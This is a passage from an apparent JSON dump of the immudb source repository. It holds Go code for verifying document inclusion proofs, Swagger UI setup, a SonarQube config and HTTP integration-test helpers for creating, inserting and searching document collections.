!bytes.Equal(hVal[:], txEntry.HValue) {\n\t\t\t\treturn nil, store.ErrInvalidProof\n\t\t\t}\n\n\t\t\tkeyFound++\n\t\t}\n\t}\n\n\tif keyFound != 1 {\n\t\treturn nil, fmt.Errorf(\"%w: document entry was not found or it was found multiple times\", store.ErrInvalidProof)\n\t}\n\n\tvoff := sql.EncLenLen + sql.EncIDLen\n\n\t// DocumentIDField\n\t_, n, err := sql.DecodeValue(proof.EncodedDocument[voff:], sql.BLOBType)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif n > document.MaxDocumentIDLength {\n\t\treturn nil, fmt.Errorf(\"%w: the proof contains invalid document data\", store.ErrInvalidProof)\n\t}\n\n\tvoff += n + sql.EncIDLen\n\n\t// DocumentBLOBField\n\tencodedDoc, _, err := sql.DecodeValue(proof.EncodedDocument[voff:], sql.BLOBType)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tproofDoc := &structpb.Struct{}\n\n\terr = proto.Unmarshal(encodedDoc.RawValue().([]byte), proofDoc)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif !proto.Equal(doc, proofDoc) {\n\t\treturn nil, fmt.Errorf(\"%w: proof is not valid for provided document\", store.ErrInvalidProof)\n\t}\n\n\tentries := proof.VerifiableTx.Tx.Entries\n\n\thtree, err := htree.New(len(entries))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tentrySpecDigest, err := store.EntrySpecDigestFor(int(proof.VerifiableTx.Tx.Header.Version))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdigests := make([][sha256.Size]byte, len(entries))\n\n\tfor i, e := range entries {\n\t\teSpec := &store.EntrySpec{\n\t\t\tKey:              e.Key,\n\t\t\tMetadata:         schema.KVMetadataFromProto(e.Metadata),\n\t\t\tHashValue:        schema.DigestFromProto(e.HValue),\n\t\t\tIsValueTruncated: true,\n\t\t}\n\t\tdigests[i] = entrySpecDigest(eSpec)\n\t}\n\n\terr = htree.BuildWith(digests)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttxHdr := schema.TxHeaderFromProto(proof.VerifiableTx.Tx.Header)\n\n\tif htree.Root() != txHdr.Eh {\n\t\treturn nil, store.ErrInvalidProof\n\t}\n\n\tdualProof := schema.DualProofV2FromProto(proof.VerifiableTx.DualProof)\n\n\tsourceID := proof.VerifiableTx.DualProof.SourceTxHeader.Id\n\ttargetID := proof.VerifiableTx.DualProof.TargetTxHeader.Id\n\n\tif targetID < sourceID {\n\t\treturn nil, fmt.Errorf(\"%w: source tx is newer than target tx\", store.ErrInvalidProof)\n\t}\n\n\tsourceAlh := schema.TxHeaderFromProto(proof.VerifiableTx.DualProof.SourceTxHeader).Alh()\n\ttargetAlh := schema.TxHeaderFromProto(proof.VerifiableTx.DualProof.TargetTxHeader).Alh()\n\n\tif txHdr.ID != sourceID && txHdr.ID != targetID {\n\t\treturn nil, fmt.Errorf(\"%w: tx must match source or target tx headers\", store.ErrInvalidProof)\n\t}\n\n\tif txHdr.ID == sourceID && txHdr.Alh() != sourceAlh {\n\t\treturn nil, fmt.Errorf(\"%w: tx must match source or target tx headers\", store.ErrInvalidProof)\n\t}\n\n\tif txHdr.ID == targetID && txHdr.Alh() != targetAlh {\n\t\treturn nil, fmt.Errorf(\"%w: tx must match source or target tx headers\", store.ErrInvalidProof)\n\t}\n\n\tif knownState == nil || knownState.TxId == 0 {\n\t\tif sourceID != 1 {\n\t\t\treturn nil, fmt.Errorf(\"%w: proof should start from the first transaction when no previous state was specified\", store.ErrInvalidProof)\n\t\t}\n\t} else {\n\t\tif knownState.TxId != sourceID && knownState.TxId != targetID {\n\t\t\treturn nil, fmt.Errorf(\"%w: knownState alh must match source or target tx alh\", store.ErrInvalidProof)\n\t\t}\n\n\t\tif knownState.TxId == sourceID && !bytes.Equal(knownState.TxHash, sourceAlh[:]) {\n\t\t\treturn nil, fmt.Errorf(\"%w: knownState alh must match source or target tx alh\", store.ErrInvalidProof)\n\t\t}\n\n\t\tif knownState.TxId == targetID && !bytes.Equal(knownState.TxHash, targetAlh[:]) {\n\t\t\treturn nil, fmt.Errorf(\"%w: knownState alh must match source or target tx alh\", store.ErrInvalidProof)\n\t\t}\n\t}\n\n\terr = store.VerifyDualProofV2(\n\t\tdualProof,\n\t\tsourceID,\n\t\ttargetID,\n\t\tsourceAlh,\n\t\ttargetAlh,\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstate := &schema.ImmutableState{\n\t\tDb:        proof.Database,\n\t\tTxId:      targetID,\n\t\tTxHash:    targetAlh[:],\n\t\tSignature: proof.VerifiableTx.Signature,\n\t}\n\n\tif serverSigningPubKey != nil {\n\t\terr := state.CheckSignature(serverSigningPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn state, nil\n}\n\nfunc encodedKeyForDocument(collectionID uint32, documentID string) ([]byte, error) {\n\tdocID, err := document.NewDocumentIDFromHexEncodedString(documentID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvalbuf := bytes.Buffer{}\n\n\trval := sql.NewBlob(docID[:])\n\tencVal, _, err := sql.EncodeRawValueAsKey(rval.RawValue(), sql.BLOBType, document.MaxDocumentIDLength)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_, err = valbuf.Write(encVal)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tpkEncVals := valbuf.Bytes()\n\n\treturn sql.MapKey(\n\t\t[]byte{documentPrefix},\n\t\tsql.RowPrefix,\n\t\tsql.EncodeID(1), // fixed database identifier\n\t\tsql.EncodeID(collectionID),\n\t\tsql.EncodeID(sql.PKIndexID),\n\t\tpkEncVals,\n\t), nil\n}\n"
  },
  {
    "path": "pkg/verification/verification_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage verification\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/protobuf/types/known/structpb\"\n)\n\nfunc TestVerifyDocument(t *testing.T) {\n\t_, err := VerifyDocument(context.Background(), nil, nil, nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tt.Run(\"\", func(t *testing.T) {\n\t\tdoc := &structpb.Struct{\n\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\"pincode\": structpb.NewNumberValue(321),\n\t\t\t},\n\t\t}\n\n\t\t_, err = VerifyDocument(context.Background(), &protomodel.ProofDocumentResponse{}, doc, nil, nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n}\n"
  },
  {
    "path": "sonar-project.properties",
    "content": "sonar.projectKey=codenotary_immudb\nsonar.projectName=immudb\nsonar.projectVersion=1.1.0\nsonar.organization=codenotary\n\n\nsonar.sources=.\nsonar.exclusions=**/*_test.go,**/*test,**/*schema.pb*,**/*schema_grpc.pb*,**/*schemav2.pb*,**/*schemav2_grpc.pb*,**/statik.go,test/objectstorage_tests/**\n\nsonar.tests=.\nsonar.test.inclusions=**/*_test.go\nsonar.go.coverage.reportPaths=coverage.out\n\nsonar.verbose=true\n"
  },
  {
    "path": "swagger/default/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <title>No Swagger UI enabled</title>\n    <meta http-equiv=\"Cache-Control\" content=\"no-cache, no-store, must-revalidate\" />\n    <meta http-equiv=\"Pragma\" content=\"no-cache\" />\n    <meta http-equiv=\"Expires\" content=\"0\" />\n    <style>\n      body {\n        background-color: #21222c;\n        font-family: Roboto, sans-serif;\n        color: rgb(185, 185, 185);\n      }\n      a, a:visited {\n          color: rgb(25, 118, 210);\n      }\n      .container {\n            position: absolute;\n            top: 50%;\n            left: 50%;\n            transform: translateX(-50%) translateY(-50%);\n        }\n    </style>\n    <title>immudb</title>\n  </head>\n  <body class=\"container\">\n    <img width=\"150\" src=\"mascot.png\" alt=\"immudb mascot\"/>\n    <p>immudb was built without swagger ui support.</p>\n    <p>See <a href=\"https://github.com/codenotary/immudb/blob/master/BUILD.md\">here</a> for instructions, or download an <a href=\"https://github.com/codenotary/immudb/releases\">official build</a>.</p>\n  </body>\n</html>\n"
  },
  {
    "path": "swagger/swagger.go",
    "content": "//go:build swagger\n// +build swagger\n\npackage swagger\n\nimport (\n\t\"embed\"\n\t\"io/fs\"\n\t\"net/http\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n)\n\n//go:embed dist/*\nvar content embed.FS\n\nfunc SetupSwaggerUI(mux *http.ServeMux, l logger.Logger, addr string) error {\n\tfSys, err := fs.Sub(content, \"dist\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tl.Infof(\"Swagger UI enabled: %s\", addr)\n\tmux.Handle(\"/api/docs/\", http.StripPrefix(\"/api/docs\", http.FileServer(http.FS(fSys))))\n\treturn nil\n}\n"
  },
  {
    "path": "swagger/swagger_default.go",
    "content": "//go:build !swagger\n// +build !swagger\n\npackage swagger\n\nimport (\n\t\"embed\"\n\t\"io/fs\"\n\t\"net/http\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n)\n\n//go:embed default/*\nvar content embed.FS\n\nfunc SetupSwaggerUI(mux *http.ServeMux, l logger.Logger, addr string) error {\n\tfSys, err := fs.Sub(content, \"default\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tl.Infof(\"Swagger not built-in\")\n\tmux.HandleFunc(\"/api/docs/\", func(w http.ResponseWriter, r *http.Request) {\n\t\thttp.Redirect(w, r, \"/missingswagger/\", http.StatusTemporaryRedirect)\n\t})\n\tmux.Handle(\"/missingswagger/\", http.StripPrefix(\"/missingswagger\", http.FileServer(http.FS(fSys))))\n\treturn nil\n}\n"
  },
  {
    "path": "swagger/swagger_default_test.go",
    "content": "//go:build !swagger\n// +build !swagger\n\npackage swagger\n\nimport (\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSetupSwaggerUI(t *testing.T) {\n\n\treq, err := http.NewRequest(\"GET\", \"/api/docs\", nil)\n\trequire.NoError(t, err)\n\n\thandler := http.NewServeMux()\n\tSetupSwaggerUI(handler, logger.NewSimpleLogger(\"swagger\", os.Stderr), \"localhost:8080\")\n\trequire.NoError(t, err)\n\n\trr := httptest.NewRecorder()\n\thandler.ServeHTTP(rr, req)\n\tassert.True(t, rr.Code == 301)\n\n\t// Test just if the response exist\n\t_, err = ioutil.ReadAll(rr.Body)\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "swagger/swagger_test.go",
    "content": "//go:build swagger\n// +build swagger\n\npackage swagger\n\nimport (\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSetupSwaggerUI(t *testing.T) {\n\n\treq, err := http.NewRequest(\"GET\", \"/api/docs/\", nil)\n\trequire.NoError(t, err)\n\n\thandler := http.NewServeMux()\n\tSetupSwaggerUI(handler, logger.NewSimpleLogger(\"swagger\", os.Stderr), \"localhost:8080\")\n\trequire.NoError(t, err)\n\n\trr := httptest.NewRecorder()\n\thandler.ServeHTTP(rr, req)\n\n\tassert.True(t, rr.Code == 200)\n\n\t// Test just if the response exist\n\tpage, err := ioutil.ReadAll(rr.Body)\n\trequire.NoError(t, err)\n\n\tassert.Contains(t, string(page), \"<title>Swagger UI</title>\")\n}\n"
  },
  {
    "path": "swagger/swaggeroverrides.js",
    "content": "window.onload = function() {\n    //<editor-fold desc=\"Changeable Configuration Block\">\n  \n    // the following lines will be replaced by docker/configurator, when it runs in a docker-container\n    window.ui = SwaggerUIBundle({\n      urls: [\n        {\"url\": \"/api/docs/apidocs.swagger.json\", \"name\": \"immudb REST API v2: Authorization and Document API\"},\n        {\"url\": \"/api/docs/schema.swagger.json\", \"name\": \"immudb REST API v1: KV and SQL API\"}\n      ],\n      dom_id: '#swagger-ui',\n      deepLinking: true,\n      presets: [\n        SwaggerUIBundle.presets.apis,\n        SwaggerUIStandalonePreset\n      ],\n      plugins: [\n        SwaggerUIBundle.plugins.DownloadUrl\n      ],\n      layout: \"StandaloneLayout\"\n    });\n  \n    //</editor-fold>\n  };\n  "
  },
  {
    "path": "test/data_v1.1.0/immudb.identifier",
    "content": "agOy"
  },
  {
    "path": "test/document_storage_tests/documents_tests/actions/create_collections.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage actions\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/gavv/httpexpect/v2\"\n)\n\nfunc CreateCollectionWithName(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object {\n\treturn createCollection(expect, sessionID, name, nil)\n}\n\nfunc CreateCollectionWithNameAndOneField(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object {\n\tpayload := map[string]interface{}{\n\t\t\"fields\": []interface{}{\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"name\": \"first_name\",\n\t\t\t\t\"type\": \"STRING\",\n\t\t\t},\n\t\t},\n\t}\n\n\treturn createCollection(expect, sessionID, name, payload)\n}\n\nfunc CreateCollectionWithNameAndIdFieldName(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object {\n\tpayload := map[string]interface{}{\n\t\t\"documentIdFieldName\": \"emp_no\",\n\t}\n\n\treturn createCollection(expect, sessionID, name, payload)\n}\n\nfunc CreateCollectionWithNameIdFieldNameAndOneField(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object {\n\tpayload := map[string]interface{}{\n\t\t\"documentIdFieldName\": \"emp_no\",\n\t\t\"fields\": []interface{}{\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"name\": \"hire_date\",\n\t\t\t\t\"type\": \"STRING\",\n\t\t\t},\n\t\t},\n\t}\n\n\treturn createCollection(expect, sessionID, name, payload)\n}\n\nfunc CreateCollectionWithNameOneFieldAndOneUniqueIndex(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object {\n\tpayload := map[string]interface{}{\n\t\t\"fields\": []interface{}{\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"name\": \"id_number\",\n\t\t\t\t\"type\": \"INTEGER\",\n\t\t\t},\n\t\t},\n\t\t\"indexes\": []interface{}{\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"fields\": []string{\n\t\t\t\t\t\"id_number\",\n\t\t\t\t},\n\t\t\t\t\"isUnique\": true,\n\t\t\t},\n\t\t},\n\t}\n\n\treturn createCollection(expect, sessionID, name, payload)\n}\n\nfunc CreateCollectionWithNameAndMultipleFields(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object {\n\tpayload := map[string]interface{}{\n\t\t\"fields\": []interface{}{\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"name\": \"birth_date\",\n\t\t\t\t\"type\": \"STRING\",\n\t\t\t},\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"name\": \"first_name\",\n\t\t\t\t\"type\": \"STRING\",\n\t\t\t},\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"name\": \"last_name\",\n\t\t\t\t\"type\": \"STRING\",\n\t\t\t},\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"name\": \"gender\",\n\t\t\t\t\"type\": \"STRING\",\n\t\t\t},\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"name\": \"hire_date\",\n\t\t\t\t\"type\": \"STRING\",\n\t\t\t},\n\t\t},\n\t}\n\n\treturn createCollection(expect, sessionID, name, payload)\n}\n\nfunc CreateCollectionWithNameMultipleFieldsAndMultipleIndexes(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object {\n\tpayload := map[string]interface{}{\n\t\t\"fields\": []interface{}{\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"name\": \"birth_date\",\n\t\t\t\t\"type\": \"STRING\",\n\t\t\t},\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"name\": \"first_name\",\n\t\t\t\t\"type\": \"STRING\",\n\t\t\t},\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"name\": \"last_name\",\n\t\t\t\t\"type\": \"STRING\",\n\t\t\t},\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"name\": \"gender\",\n\t\t\t\t\"type\": \"STRING\",\n\t\t\t},\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"name\": \"hire_date\",\n\t\t\t\t\"type\": \"STRING\",\n\t\t\t},\n\t\t},\n\t\t\"indexes\": []interface{}{\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"fields\": []string{\n\t\t\t\t\t\"birth_date\", \"last_name\",\n\t\t\t\t},\n\t\t\t\t\"isUnique\": true,\n\t\t\t},\n\t\t},\n\t}\n\n\treturn createCollection(expect, sessionID, name, payload)\n}\n\nfunc createCollection(expect *httpexpect.Expect, sessionID string, name string, payload map[string]interface{}) *httpexpect.Object {\n\texpect.POST(fmt.Sprintf(\"/collection/%s\", name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", sessionID).\n\t\tWithJSON(payload).\n\t\tExpect().\n\t\tStatus(http.StatusOK).JSON().Object().IsEmpty()\n\n\tcollection := expect.GET(fmt.Sprintf(\"/collection/%s\", name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", sessionID).\n\t\tExpect().\n\t\tStatus(http.StatusOK).\n\t\tJSON().Object()\n\n\treturn collection\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/actions/create_index.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage actions\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models\"\n\t\"github.com/gavv/httpexpect/v2\"\n)\n\nfunc CreateIndex(expect *httpexpect.Expect, sessionID string, collectionName string, payload models.CreateIndex) {\n\texpect.POST(fmt.Sprintf(\"/collection/%s/index\", collectionName)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", sessionID).\n\t\tWithJSON(payload).\n\t\tExpect().\n\t\tStatus(http.StatusOK).\n\t\tJSON().Object().Empty()\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/actions/get_collections.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage actions\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/gavv/httpexpect/v2\"\n)\n\nfunc GetCollection(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object {\n\tcollection := expect.GET(fmt.Sprintf(\"/collection/%s\", name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", sessionID).\n\t\tExpect().\n\t\tStatus(http.StatusOK).\n\t\tJSON().Object()\n\n\treturn collection\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/actions/insert_documents.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage actions\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models\"\n\t\"github.com/gavv/httpexpect/v2\"\n)\n\nfunc InsertOneDocumentWithMultipleFields(expect *httpexpect.Expect, sessionID string, collection *httpexpect.Object) models.Employee {\n\tcollectionName := collection.Value(\"collection\").Object().Value(\"name\").String().Raw()\n\n\tdocument := models.Employee{\n\t\tBirthDate: \"1964-06-02\",\n\t\tFirstName: \"Bezalel\",\n\t\tLastName:  \"Simmel\",\n\t\tGender:    \"F\",\n\t\tHireDate:  \"1985-11-21\",\n\t}\n\n\tpayload := map[string]interface{}{\n\t\t\"documents\": []interface{}{\n\t\t\tdocument,\n\t\t},\n\t}\n\n\tinsertDocuments(expect, sessionID, collectionName, payload, \"first_name\", document.FirstName)\n\n\treturn document\n}\n\nfunc insertDocuments(expect *httpexpect.Expect, sessionID string, collectionName string, payload map[string]interface{}, field string, value interface{}) {\n\texpect.POST(fmt.Sprintf(\"/collection/%s/documents\", collectionName)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", sessionID).\n\t\tWithJSON(payload).\n\t\tExpect().\n\t\tStatus(http.StatusOK).JSON().Object().NotEmpty().\n\t\tKeys().ContainsOnly(\"transactionId\", \"documentIds\")\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/actions/search_documents.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage actions\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models\"\n\t\"github.com/gavv/httpexpect/v2\"\n)\n\nfunc SearchDocuments(expect *httpexpect.Expect, sessionID string, collection *httpexpect.Object, fieldComparison models.FieldComparison) *httpexpect.Object {\n\tfieldComparisons := []models.FieldComparison{fieldComparison}\n\texpressions := models.Expressions{FieldComparisons: fieldComparisons}\n\tquery := models.Query{Expressions: []models.Expressions{expressions}}\n\tpayload := models.SearchPayload{\n\t\tQuery:    query,\n\t\tPage:     1,\n\t\tPageSize: 1,\n\t}\n\n\tdocument := expect.POST(fmt.Sprintf(\"/collection/%s/documents/search\", collection.Value(\"collection\").Object().Value(\"name\").String().Raw())).\n\t\tWithHeader(\"grpc-metadata-sessionid\", sessionID).\n\t\tWithJSON(payload).\n\t\tExpect().\n\t\tStatus(http.StatusOK).JSON().Object().\n\t\tValue(\"revisions\").Array().First().\n\t\tObject().Value(\"document\").Object()\n\n\treturn document\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/actions/session.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage actions\n\nimport (\n\t\"net/http\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models\"\n\t\"github.com/gavv/httpexpect/v2\"\n)\n\nfunc OpenSession(t *testing.T) (*httpexpect.Expect, string) {\n\tbaseURL := GetBaseUrl()\n\n\tuser := models.User{\n\t\tUsername: \"immudb\",\n\t\tPassword: \"immudb\",\n\t\tDatabase: \"defaultdb\",\n\t}\n\n\texpect := httpexpect.WithConfig(httpexpect.Config{\n\t\tBaseURL:  baseURL,\n\t\tReporter: httpexpect.NewAssertReporter(t),\n\t\tPrinters: []httpexpect.Printer{\n\t\t\thttpexpect.NewDebugPrinter(t, true),\n\t\t},\n\t})\n\tobj := expect.POST(\"/authorization/session/open\").\n\t\tWithJSON(user).\n\t\tExpect().\n\t\tStatus(http.StatusOK).JSON().Object()\n\n\treturn expect, obj.Value(\"sessionID\").Raw().(string)\n}\n\nfunc GetBaseUrl() string {\n\tbaseURL, exists := os.LookupEnv(\"OBJECTS_TEST_BASEURL\")\n\n\tif !exists {\n\t\tbaseURL = \"http://localhost:8091/api/v2\"\n\t}\n\n\treturn baseURL\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/create_collections_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions\"\n\t\"github.com/gavv/httpexpect/v2\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/suite\"\n)\n\ntype CreateCollectionsTestSuite struct {\n\tsuite.Suite\n\texpect          *httpexpect.Expect\n\tsessionID       string\n\tcollection_name string\n}\n\nfunc (s *CreateCollectionsTestSuite) SetupTest() {\n\ts.expect, s.sessionID = actions.OpenSession(s.T())\n\ts.collection_name = \"a\" + uuid.New().String()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithName() {\n\tcollection := actions.CreateCollectionWithName(s.expect, s.sessionID, s.collection_name)\n\n\tcollection.Keys().ContainsOnly(\"collection\")\n\tcollection.Value(\"collection\").Object().Keys().ContainsOnly(\"name\", \"documentIdFieldName\", \"fields\", \"indexes\")\n\tcollection.Value(\"collection\").Object().Value(\"name\").IsEqual(s.collection_name)\n\tcollection.Value(\"collection\").Object().Value(\"documentIdFieldName\").IsEqual(\"_id\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Length().IsEqual(1)\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(0).Object().Value(\"name\").IsEqual(\"_id\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Length().IsEqual(1)\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(0).Object().Value(\"fields\").Array().Value(0).IsEqual(\"_id\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(0).Object().Value(\"isUnique\").Boolean().IsTrue()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneField() {\n\tcollection := actions.CreateCollectionWithNameAndOneField(s.expect, s.sessionID, s.collection_name)\n\n\tcollection.Keys().ContainsOnly(\"collection\")\n\tcollection.Value(\"collection\").Object().Keys().ContainsOnly(\"name\", \"documentIdFieldName\", \"fields\", \"indexes\")\n\tcollection.Value(\"collection\").Object().Value(\"name\").IsEqual(s.collection_name)\n\tcollection.Value(\"collection\").Object().Value(\"documentIdFieldName\").IsEqual(\"_id\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Length().IsEqual(2)\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(0).Object().Value(\"name\").IsEqual(\"_id\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(1).Object().Value(\"name\").IsEqual(\"first_name\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Length().IsEqual(1)\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(0).Object().Value(\"fields\").Array().Value(0).IsEqual(\"_id\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(0).Object().Value(\"isUnique\").Boolean().IsTrue()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndIdFieldName() {\n\tcollection := actions.CreateCollectionWithNameAndIdFieldName(s.expect, s.sessionID, s.collection_name)\n\n\tcollection.Keys().ContainsOnly(\"collection\")\n\tcollection.Value(\"collection\").Object().Keys().ContainsOnly(\"name\", \"documentIdFieldName\", \"fields\", 